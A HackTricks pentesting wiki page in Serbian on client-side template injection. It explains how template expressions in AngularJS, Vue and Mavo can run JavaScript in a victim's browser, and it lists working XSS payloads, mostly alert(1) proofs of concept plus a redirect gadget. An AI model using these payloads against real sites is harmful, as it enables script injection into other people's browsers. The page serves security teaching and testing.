hacktricks/pentesting-web/client-side-template-injection-csti.md

7.8 KiB

Client Side Template Injection (CSTI)

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

WhiteIntel

WhiteIntel je dark-web pretraživač koji nudi besplatne funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti kompromitovani od strane stealer malvera.

Njihov primarni cilj je da se bore protiv preuzimanja naloga i ransomware napada koji proizilaze iz malvera koji krade informacije.

Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač besplatno na:

{% embed url="https://whiteintel.io" %}


Summary

To je kao Server Side Template Injection ali na klijentskoj strani. SSTI vam može omogućiti da izvršite kod na udaljenom serveru, dok CSTI može omogućiti da izvršite proizvoljni JavaScript kod u pretraživaču žrtve.

Testiranje za ovu ranjivost je vrlo slično kao u slučaju SSTI, interpreter očekuje šablon i izvršiće ga. Na primer, sa payload-om kao što je {{ 7-7 }}, ako je aplikacija ranjiva videćete 0, a ako nije, videćete original: {{ 7-7 }}

AngularJS

AngularJS je široko korišćen JavaScript okvir koji interaguje sa HTML-om kroz atribute poznate kao direktive, a jedna od značajnih je ng-app. Ova direktiva omogućava AngularJS-u da obradi HTML sadržaj, omogućavajući izvršavanje JavaScript izraza unutar dvostrukih vitičastih zagrada.

U scenarijima gde se korisnički unos dinamički ubacuje u HTML telo označeno sa ng-app, moguće je izvršiti proizvoljni JavaScript kod. To se može postići korišćenjem sintakse AngularJS-a unutar unosa. Ispod su primeri koji pokazuju kako se JavaScript kod može izvršiti:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Možete pronaći vrlo osnovni online primer ranjivosti u AngularJS na http://jsfiddle.net/2zs2yv7o/ i u Burp Suite Academy

{% hint style="danger" %} Angular 1.6 je uklonio sandbox tako da od ove verzije payload poput {{constructor.constructor('alert(1)')()}} ili <input ng-focus=$event.view.alert('XSS')> treba da radi. {% endhint %}

VueJS

Možete pronaći ranjivu Vue implementaciju na https://vue-client-side-template-injection-example.azu.now.sh/
Funkcionalni payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

I izvorni kod ranjivog primera ovde: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Zaista dobar post o CSTI u VUE može se naći na https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Credit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

Proverite više VUE payload-a na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Više payload-a u https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Lista za otkrivanje brute-force napada

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

WhiteIntel

WhiteIntel je pretraživač pokretan dark-web-om koji nudi besplatne funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti bili kompromitovani od strane stealer malvera.

Njihov primarni cilj je da se bore protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera koji krade informacije.

Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač besplatno na:

{% embed url="https://whiteintel.io" %}

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}